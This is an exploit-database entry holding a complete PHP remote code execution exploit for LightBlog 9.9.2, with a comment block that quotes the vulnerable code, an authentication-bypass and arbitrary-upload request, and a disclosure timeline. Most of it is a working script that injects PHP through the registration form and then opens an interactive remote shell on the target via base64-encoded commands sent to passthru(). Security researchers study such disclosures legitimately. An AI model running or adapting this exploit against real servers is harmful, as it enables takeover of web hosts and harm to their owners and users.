LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit

2009-04-28T00:00:00
ID SSV:11108
Type seebug
Reporter Root
Modified 2009-04-28T00:00:00

Description

No description provided by source.

                                        
                                            
                                                <?

/*
	---------------------------------------------------------------
	LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit
	---------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.publicwarehouse.co.uk/
	demo.....: http://www.bailey-projects.com/projects/1/lightblog/

	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.

	[-] vulnerable code in /register.php

	58.	    $username_towrite = stripslashes(htmlspecialchars($_POST['username_post'], ENT_QUOTES));
	59.	    $password_towrite = stripslashes(md5(htmlspecialchars($_POST['pwd1_post'], ENT_QUOTES)));
	60.	    $name_towrite = stripslashes(htmlspecialchars($_POST['name_post'], ENT_QUOTES));
	61.	    $email_towrite = stripslashes(htmlspecialchars($_POST['email_post'], ENT_QUOTES));
	62.	
	63.	    $newaccountfile = "./accounts/{$username_towrite}.php";
	64.	                         
	65.	    $details = "<?php
	66.	                \$password = \"{$password_towrite}\";
	67.	                \$name = \"{$name_towrite}\";
	68.	                \$email = \"{$email_towrite}\";
	69.	                \$type = \"member\";
	70.	                \$location = \"\";
	71.	                \$aboutme = \"\";
	72.	                \$website = \"\";
	73.	                ?>";
	74.	
	75.	    $fd = fopen ($newaccountfile, "w");
	76.	    chmod($newaccountfile, 0777);
	77.	    fwrite ($fd, $details);
	78.	    fclose($fd);

	An attacker could be able to inject and execute arbitrary PHP code due to new accounts are saved
	with "php" extension. This is possible because input is not properly sanitised, so you can use
	"complex curly syntax", which allows to put complex expressions into string definitions.

	[-] vulnerable code in /check_user.php

	6.	if(isset($_COOKIE['Lightblog_username']) and isset($_COOKIE['Lightblog_password'])){
	7.	
	8.	    $username_cookie = $_COOKIE['Lightblog_username'];
	9.	    $password_cookie = $_COOKIE['Lightblog_password'];
	10.	
	11.	    if(file_exists("./accounts/{$username_cookie}.php")){
	12.	
	13.	        include("./accounts/{$username_cookie}.php");
	14.	
	15.	        if($password_cookie != $password){
	16.	            
	17.	            setcookie("Lightblog_password", "", time()-9999999);
	18.	            setcookie("Lightblog_username", "", time()-9999999);
	19.	            echo "<script>location.replace('login.php')</script>";
	20.	            exit; 
	21.	
	22.	        } else { 
	23.	            $username = $username_cookie;
	24.	            $user = true; 
	25.	        }

	In addition to the LFI (line 13), an attacker could be able to bypass the authentication by
	setting special crafted cookies. So anyone can access to cp_*.php and is able to to upload
	arbitrary file or put malicious php code into e.g. settings.php. Arbitrary file upload poc:

	POST /lightblog/cp_preview.php HTTP/1.0
	Host: localhost
	Cookie: Lightblog_password=; Lightblog_username=../header
	Content-Length: 166
	Content-Type: multipart/form-data; boundary=o0oOo0o
	Connection: close

	--o0oOo0o
	Content-Disposition: form-data; name="image"; filename="poc.php"

	<?php evil_code(); ?>
	--o0oOo0o--


	[-] Disclosure timeline:
		
	[21/04/2009] - Bug discovered
	[22/04/2009] - Vendor contacted but no response
	[25/04/2009] - Vendor contacted again still no response
	[26/04/2009] - Vendor has deleted any reference to LighBlog on his site (???)
	[27/04/2009] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
	if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
	  die("\nsocket_create(): " . socket_strerror($s) . "\n");

	if (socket_connect($s, $host, 80) == false)
	  die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");

	socket_write($s, $packet, strlen($packet));
	while ($m = socket_read($s, 2048)) $response .= $m;

	socket_close($s);
	return $response;
}

print "\n+-------------------------------------------------------------------------+";
print "\n| LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage......: php $argv[0] host path\n";
	print "\nExample....: php $argv[0] localhost /";
	print "\nExample....: php $argv[0] localhost /lightblog/\n\n";
	die();
}

$host = $argv[1];
$path = $argv[2];

$code = rawurlencode('{${error_reporting(0)}}{${print(_code_)}}{${passthru(base64_decode($_SERVER[HTTP_CMD]))}}{${die}}');

$payload = "username_post=test&pwd1_post=test&pwd2_post=test&name_post=test&email_post={$code}";
$packet  = "POST {$path}register.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

http_send($host, $packet);

$packet  = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: Lightblog_password=; Lightblog_username=test\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
	print "\nlightblog-shell# ";
	if (($cmd = trim(fgets(STDIN))) == "exit") break;
	$response = http_send($host, sprintf($packet, base64_encode($cmd)));
	preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed\n");
}

?>